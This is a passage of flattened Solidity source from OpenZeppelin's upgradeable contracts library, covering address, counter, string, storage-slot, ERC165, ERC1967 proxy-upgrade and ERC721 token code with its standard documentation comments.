/** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, 